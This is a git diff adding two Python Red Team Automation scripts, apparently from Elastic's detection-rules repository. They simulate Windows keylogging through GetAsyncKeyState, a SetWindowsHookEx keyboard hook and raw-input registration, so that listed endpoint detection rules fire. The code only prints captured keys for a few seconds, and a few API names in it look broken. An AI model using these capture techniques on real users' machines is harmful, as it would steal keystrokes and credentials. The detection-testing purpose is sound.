diff --git a/rta/collection_keylog_hook_keystate.py b/rta/collection_keylog_hook_keystate.py new file mode 100644 index 000000000..c42e2f12b --- /dev/null +++ b/rta/collection_keylog_hook_keystate.py @@ -0,0 +1,89 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import time, sys + +WH_KEYBOARD_LL = 13 +WM_KEYDOWN = 0x0100 +HC_ACTION = 0 +hHook = None + +metadata = RtaMetadata( + uuid="19b7c8db-0279-41fe-b07d-481818185a10", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Input Capture via GetAsyncKeyState API", "rule_id": "2ed0570d-3fa4-45b1-b4f2-d7fcc827daf1"}, + {"rule_name": "GetAsyncKeyState API Call from Suspicious Process", "rule_id": "be7140ba-4633-46a7-ac59-91cc85e5e252"}, + {"rule_name": "keystroke Messages Hooking via SetWindowsHookEx", "rule_id": "7ae180e1-e08f-40c2-82db-f274f688eea2"}, + {"rule_name": "Keystrokes Input Capture from Suspicious CallStack", "rule_id": "6ef43c9a-25af-449c-8416-20349780a146"}, + ], + siem=[], + techniques=["T1056", "T1056.001"], +) + + +def GetAsyncKeyState(): + from ctypes import windll + + user32 = windll.user32 + + special_keys = {0x08: "BS", 0x09: "Tab", 0x0d: "Enter", 0x10: "Shift", + 0x11: "Ctrl", 0x12: "Alt", 0x14: "CapsLock", 0x1b: "Esc", 0x20: "Space", + 0x2e: "Del"} + + # reset key states + for i in range(256): + user32.GetAsyncKeyState(i) + + start = time.time() + while time.time() - start < 5: + for i in range(256): + if user32.GetAsyncKeyState(i) & 1: + if i in special_keys: + print("<{}>".format(special_keys[i])) + elif 0x30 <= i <= 0x5a: + print("{:c}".format(i)) + else: + print("{:02x}".format(i)) + time.sleep(0.01) + sys.stdout.flush() + +def hook_procedure(code, w_param, l_paraml): + import ctypes + global hHook + user32 = ctypes.windll.user32 + + if code == HC_ACTION and w_param == WM_KEYDOWN: + print("Key down") + + return user32.CallNextHookEx(hHook, code, w_param, l_paraml) + + +@common.requires_os(*metadata.platforms) +def SetWindowsHookEx(): + import ctypes + from ctypes.wintypes import LPARAM, WPARAM + global hHook + user32 = ctypes.windll.user32 + hookproc = ctypes.WINFUNCTYPE(ctypes.HRESULT, ctypes.c_int, WPARAM, LPARAM) + proc = hookproc(hook_procedure) + hHook = user32.SetWindowsHookExA(WH_KEYBOARD_LL, proc, 0, 0) + + start = time.time() + while True: + user32.PeekMessageA(0, 0, 0, 0, 0) + time.sleep(.01) + if time.time() >= (start + 5): + print("Finished") + break + +def main(): + SetWindowsHookEx() + GetAsyncKeyState() + +if __name__ == "__main__": + exit(main()) diff --git a/rta/collection_keylog_rawinputdevice.py b/rta/collection_keylog_rawinputdevice.py new file mode 100644 index 000000000..30a8f74cc --- /dev/null +++ b/rta/collection_keylog_rawinputdevice.py @@ -0,0 +1,275 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. +# Adjusted version of https://github.com/XRoemer/Organon/blob/master/source/py/rawinputdata.py + +from . import common +from . import RtaMetadata +import time, sys + + +metadata = RtaMetadata( + uuid="89f2b412-bbc7-4298-8768-2f3d3b43c93b", + platforms=["windows"], + endpoint=[ + {"rule_name": "Keystroke Input Capture via DirectInput", "rule_id": "102b5c1a-7f2a-4254-8b26-6b299705fce7"}, + {"rule_name": "Keystroke Input Capture via RegisterRawInputDevices", "rule_id": "4dbb9dfb-b3e2-49d7-8919-d6f221526df4"}, + ], + siem=[], + techniques=["T1056", "T1056.001"], +) + + +@common.requires_os(*metadata.platforms) +def main(): + from ctypes import c_long, c_int, c_uint, c_ushort, Structure, Union + from ctypes import WINFUNCTYPE, windll, byref, sizeof, pointer, WinError + from ctypes.wintypes import DWORD, HWND, HANDLE, WPARAM, ULONG, LONG, UINT + from ctypes.wintypes import BYTE, LPCSTR, HINSTANCE, LPVOID + + wndproc = WINFUNCTYPE(c_long, c_int, c_uint, c_int, c_int) + + class WNDCLASS(Structure): + _fields_ = [('style', c_uint), + ('lpfnWndProc', wndproc), + ('cbClsExtra', c_int), + ('cbWndExtra', c_int), + ('hInstance', HINSTANCE), + ('hIcon', HANDLE), + ('hCursor', HANDLE), + ('hbrBackground', HANDLE), + ('lpszMenuName', LPCSTR), + ('lpszClassName', LPCSTR)] + + class POINT(Structure): + _fields_ = [('x', c_long), + ('y', c_long)] + + class MSG(Structure): + _fields_ = [('hwnd', c_int), + ('message', c_uint), + ('wparam', c_int), + ('lparam', c_int), + ('time', c_int), + ('pt', POINT)] + + class RAWINPUTDEVICE(Structure): + _fields_ = [ + ("usUsagePage", c_ushort), + ("usUsage", c_ushort), + ("dwFlags", DWORD), + ("hwndTarget", HWND), + ] + + class RAWINPUTHEADER(Structure): + _fields_ = [ + ("dwType", DWORD), + ("dw_size", DWORD), + ("hDevice", HANDLE), + ("wparam", WPARAM), + ] + + class RAWMOUSE(Structure): + class _U1(Union): + class _S2(Structure): + _fields_ = [ + ("usButtonFlags", c_ushort), + ("usButtonData", c_ushort), + ] + _fields_ = [ + ("ulButtons", ULONG), + ("_s2", _S2), + ] + + _fields_ = [ + ("usFlags", c_ushort), + ("_u1", _U1), + ("ulRawButtons", ULONG), + ("lLastX", LONG), + ("lLastY", LONG), + ("ulExtraInformation", ULONG), + ] + _anonymous_ = ("_u1", ) + + class RAWKEYBOARD(Structure): + _fields_ = [ + ("MakeCode", c_ushort), + ("Flags", c_ushort), + ("Reserved", c_ushort), + ("VKey", c_ushort), + ("Message", UINT), + ("ExtraInformation", ULONG), + ] + + class RAWHID(Structure): + _fields_ = [ + ("dw_sizeHid", DWORD), + ("dwCount", DWORD), + ("bRawData", BYTE), + ] + + class RAWINPUT(Structure): + class _U1(Union): + _fields_ = [ + ("mouse", RAWMOUSE), + ("keyboard", RAWKEYBOARD), + ("hid", RAWHID), + ] + + _fields_ = [ + ("header", RAWINPUTHEADER), + ("_u1", _U1), + ("hDevice", HANDLE), + ("wparam", WPARAM), + ] + _anonymous_ = ("_u1", ) + + class RawInputReader(): + + def __init__(self): + pass + + def start(self): + + ws_overlapped_window = (0 | 12582912 | 524288 | 262144 | 131072 | 65536) + cw_use_default = -2147483648 + + try: + createwindowex = windll.user32.CreateWindowExA + createwindowex.argtypes = [DWORD, LPCSTR, LPCSTR, DWORD, + c_int, c_int, c_int, c_int, HANDLE, + HANDLE, HANDLE, LPVOID] + createwindowex.restype = HANDLE + wndclass = self.get_window() + # Create Window + hwnd = createwindowex(0, + wndclass.lpszClassName, + b"Python Window", + ws_overlapped_window, + cw_use_default, + cw_use_default, + cw_use_default, + cw_use_default, + 0, + 0, + wndclass.hInstance, + 0) + + if (hwnd == 0): + print(WinError()) + # Register for raw input + raw_input_device = (2 * RAWINPUTDEVICE)() + self.Rid = raw_input_device + raw_input_device[0].usUsagePage = 0x01 + raw_input_device[0].usUsage = 0x06 + ridev_input_sink = 0x00000100 # Get events even when not focused + raw_input_device[0].dwFlags = ridev_input_sink + raw_input_device[0].hwndTarget = hwnd + raw_input_device[1].usUsagePage = 0x01 + raw_input_device[1].usUsage = 0x02 + raw_input_device[1].dwFlags = ridev_input_sink + raw_input_device[1].hwnTarget = hwnd + + registerrawinputdevices = windll.user32.RegisterRawInputDevices + registerrawinputdevices(raw_input_device, 2, sizeof(RAWINPUTDEVICE)) + self.hwnd = hwnd + + except Exception as e: + print("error starting") + print(e) + + def get_window(self): + + cs_vredraw = 1 + cs_hredraw = 2 + idi_application = 32512 + idc_arrow = 32512 + white_brush = 0 + + # Define Window Class + wndclass = WNDCLASS() + self.wndclass = wndclass + wndclass.style = cs_hredraw | cs_vredraw + wndclass.lpfnWndProc = wndproc(lambda h, m, w, l: self.wndproc(h, m, w, l)) + wndclass.cbClsExtra = wndclass.cbWndExtra = 0 + wndclass.hInstance = windll.kernel32.GetModuleHandleA(c_int(0)) + wndclass.hIcon = windll.user32.LoadIconA(c_int(0), c_int(idi_application)) + wndclass.hCursor = windll.user32.LoadCursorA(c_int(0), c_int(idc_arrow)) + wndclass.hbrBackground = windll.gdi32.GetStockObject(c_int(white_brush)) + wndclass.lpszMenuName = None + wndclass.lpszClassName = b"MainWin" + + if not windll.user32.RegisterClassA(byref(wndclass)): + print("error in RegisterClassA") + raise WinError() + + return wndclass + + def poll_events(self): + + # Pump Messages + msg = MSG() + pmsg = pointer(msg) + + pm_remove = 1 + + while windll.user32.PeekMessageA(pmsg, self.hwnd, 0, 0, pm_remove) != 0: + windll.user32.DispatchMessageA(pmsg) + + def __del__(self): + pass + + def stop(self): + + self.Rid[0].dwFlags = 0x00000001 + windll.user32.DestroyWindow(self.hwnd) + + def wndproc(self, hwnd, message, wparam, lparam): + + try: + wm_input = 255 + ri_mouse_wheel = 0x0400 + wm_destroy = 2 + + if message == wm_destroy: + windll.user32.PostQuitMessage(0) + return 0 + + elif message == wm_input: + get_raw_input_data = windll.user32.get_raw_input_data + null = c_int(0) + dw_size = c_uint() + rid_input = 0x10000003 + get_raw_input_data(lparam, rid_input, null, byref(dw_size), sizeof(RAWINPUTHEADER)) + + if dw_size.value == 40: + # Mouse + raw = RAWINPUT() + + if get_raw_input_data(lparam, + rid_input, + byref(raw), + byref(dw_size), + sizeof(RAWINPUTHEADER)) == dw_size.value: + rim_typemouse = 0x00000000 + + if raw.header.dwType == rim_typemouse: + + if raw.mouse._u1._s2.usButtonFlags != ri_mouse_wheel: + return 0 + + return windll.user32.DefWindowProcA(c_int(hwnd), c_int(message), c_int(wparam), c_int(lparam)) + + except Exception as e: + print("general exception in wndproc") + print(e) + + rir = RawInputReader() + rir.start() + time.sleep(5) + rir.stop() + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) \ No newline at end of file